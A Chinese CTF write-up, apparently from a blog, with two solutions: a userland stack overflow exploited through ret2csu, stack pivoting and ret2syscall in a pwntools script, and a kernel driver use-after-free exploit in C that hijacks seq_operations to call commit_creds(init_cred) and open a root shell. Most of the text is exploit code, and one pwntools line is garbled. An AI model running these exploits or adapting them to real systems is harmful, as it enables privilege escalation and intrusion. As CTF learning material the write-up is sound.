考点: 栈溢出+ret2csu+栈迁移
保护: 开了 Full RELRO 和 NX, 所以这里不能打 ret2dl
题目给了一些有用的函数:
在这个函数中, 我们可以把一个地址的数据存放到 BSS 段上.
可以把一个 libc 地址比如 read@got 读取到 bss 上, 然后在修改其为 syscall. 后面就是栈迁移然后打 ret2syscall. 其中 rdx/rsi/rdi 通过 csu 都是可以控制的, 但是 rax 没有办法直接控制, 这里采用的方式是利用 read 函数的返回值去构造 rax = 0x3b.
exp 如下:
- from pwn import *
- context.terminal = ['tmux', 'splitw', '-h']
- context(arch = 'amd64', os = 'linux')
- #context(arch = 'i386', os = 'linux')
- #context.log_level = 'debug'
-
- io = process("./pwn")
- elf = ELF("./pwn")
- libc = elf.libc
-
- def debug():
- gdb.attach(io)
- pause()
-
- sd = lambda s : io.send(s)
- sda = lambda s, n : io.sendafter(s, n)
- sl = lambda s : io.sendline(s)
- sla = lambda s, n : io.sendlineafter(s, n)
- rc = lambda n : io.recv(n)
- rl = lambda : io.recvline()
- rut = lambda s : io.recvuntil(s, drop=True)
- ruf = lambda s : io.recvuntil(s, drop=False)
- addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
- addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
- addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
- addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
- byte = lambda n : str(n).encode()
- info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
- sh = lambda : io.interactive()
- menu = b''
-
- #gdb.attach(io, 'b *0x000000000040076D')
-
- pop_rdi = 0x00000000004007e3 # pop rdi ; ret
- pop_rsi_r15 = 0x00000000004007e1 # pop rsi ; pop r15 ; ret
- csu_f = 0x00000000004007DA
- csu_e = 0x00000000004007C0
- magic_func = 0x0000000000400606
- read_got = 0x0000000000600FD8
- leave_ret = 0x0000000000400712 # leave ; ret
- call_read = 0x000000000040075E
-
- def csu(call_func, rdi, rsi, rdx, ret_addr, rbp=0, flag=True):
- pay = p64(0) + p64(1)
- pay += p64(call_func) + p64(rdx) + p64(rsi) + p64(rdi) + p64(csu_e)
- pay += p64(0)*2 + p64(rbp) + p64(0)*4
- if flag:
- pay += p64(ret_addr)
- return pay
-
- stack = 0x601050
- pay = b'A'*0x10 + p64(0) + p64(csu_f) + csu(read_got, 0, stack, 0x100, leave_ret, stack-0x8)
- info("pay len", len(pay))
- sleep(0.1)
- sd(pay)
-
- pay = p64(pop_rdi) + p64(read_got) + p64(pop_rsi_r15) + p64(1)*2 + p64(magic_func)
- pay += p64(csu_f) + csu(read_got, 0, 0x601028+0x100*8, 0x300, pop_rsi_r15, 0x601010) + p64(0x601020-0x8) + p64(0) + p64)
- #pause()
- sleep(0.1)
- sd(pay)
-
- #pause()
- sleep(0.1)
- sd(b'\xd0')
-
- #pause()
- # ==========
- # 这个 pay 也行
- #pay = p64(csu_f) + csu(read_got, 0, 0x601028+0x100*8+0x8, 0x3b, pop_rsi_r15, 0, False)
- #pay += p64(csu_f) + csu(0x601028+0x100*8, 0x601028+0x100*8+0x8, 0, 0, 0)
- # ==========
- # 利用 read 函数构造 rax = 0x3b
- pay = p64(csu_f) + p64(0) + p64(1)
- pay += p64(read_got) + p64(0x3b) + p64(0x601028+0x100*8+8) + p64(0) + p64(csu_e)
- pay += p64(0)*2 + p64(1)
- pay += p64(0x601028+0x100*8) + p64(0)*2 + p64(0x601028+0x100*8+8) + p64(csu_e)
- info("pay len", len(pay))
- sleep(0.1)
- sd(pay)
-
- #pause()
- sleep(0.1)
- sd(b'/bin/sh'.ljust(0x3b, b'\x00'))
-
- #debug()
- sh()
吐槽: 真是🤮🤮了, 一样的 exp, 我的打不通, 拿网上的妙通. 什么鬼啊, 操, 害我调了一下午, 4个多小时.
在非预期下算是一道入门题, 题目给了源码, 跟 babydriver 一样 close 时没有将指针置空导致 UAF.
UAF 堆块的大小为 0x32, 所以这里直接选择劫持 seq_operations, 最后打 pt_regs:) 难道pt_regs设置了偏移??? 但是拿网上的脚本没问题啊, 下面是我写的, 一直报段错误, 醉了.
- #ifndef _GNU_SOURCE
- #define _GNU_SOURCE
- #endif
-
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
-
- void err_exit(char *msg)
- {
- printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
- sleep(5);
- exit(EXIT_FAILURE);
- }
-
- void hexx(char *msg, size_t value)
- {
- printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
- }
-
- void binary_dump(char *desc, void *addr, int len) {
- uint64_t *buf64 = (uint64_t *) addr;
- uint8_t *buf8 = (uint8_t *) addr;
- if (desc != NULL) {
- printf("\033[33m[*] %s:\n\033[0m", desc);
- }
- for (int i = 0; i < len / 8; i += 4) {
- printf(" %04x", i * 8);
- for (int j = 0; j < 4; j++) {
- i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
- }
- printf(" ");
- for (int j = 0; j < 32 && j + i * 8 < len; j++) {
- printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
- }
- puts("");
- }
- }
-
- #define MMSG_ALLOC 0x1111111
- #define MMSG_COPY 0x2222222
- #define MMSG_RECV 0x3333333
- #define MMSG_UPDATE 0x4444444
- #define MMSG_PUT_DESC 0x5555555
- #define MMSG_GET_DESC 0x6666666
-
- struct mmsg_arg {
- unsigned long token;
- int top;
- int size;
- char *data;
- };
-
- void set_desc(int fd, char* buf)
- {
- struct mmsg_arg arg = { .data = buf };
- ioctl(fd, MMSG_PUT_DESC, &arg);
- }
-
- void get_desc(int fd, char* buf)
- {
- struct mmsg_arg arg = { .data = buf };
- ioctl(fd, MMSG_GET_DESC, &arg);
- }
-
- size_t kernel_offset;
- static size_t pop_rdi = 0xffffffff8144a9cd;
- static size_t init_cred = 0xffffffff8264c9a0;
- static size_t commit_creds = 0xffffffff8108d350;
- static size_t add_rsp = 0xFFFFFFFF81909B8C;
- static size_t swapgs_kpti = 0xFFFFFFFF81C00E54;
- int main(int argc, char** argv, char** env)
- {
- char buf[0x100] = { 0 };
- int fd[2];
- for (int i = 0; i < 2; i++)
- {
- fd[i] = open("/dev/mmsg", O_RDWR);
- if (fd[i] < 0) err_exit("FAILED ot open dev file");
- }
- close(fd[0]);
-
- int seq_fd = open("/proc/self/stat", O_RDONLY);
- if (seq_fd < 0) err_exit("FAILED to open seq file");
-
- get_desc(fd[1], buf);
- binary_dump("Leak data", buf, 0x20);
- kernel_offset = *(uint64_t*)buf - 0xffffffff8120fac0;
- hexx("kernel_offset", kernel_offset);
-
- pop_rdi += kernel_offset;
- init_cred += kernel_offset;
- commit_creds += kernel_offset;
- add_rsp += kernel_offset;
- swapgs_kpti += kernel_offset;
-
- *(uint64_t*)buf = add_rsp;
- binary_dump("Write data", buf, 0x20);
- set_desc(fd[1], buf);
- __asm__(
- "mov r14, pop_rdi;"
- "mov r13, init_cred;"
- "mov r12, commit_creds;"
- "mov rbp, swapgs_kpti;"
- );
- read(seq_fd, buf, 8);
- hexx("UID", getuid());
- system("/bin/sh");
- return 0;
- }
效果如下: 不想搞了, 跟 babydriver 一样的, 别人能通, 我不行, 哎, 浪费4个小时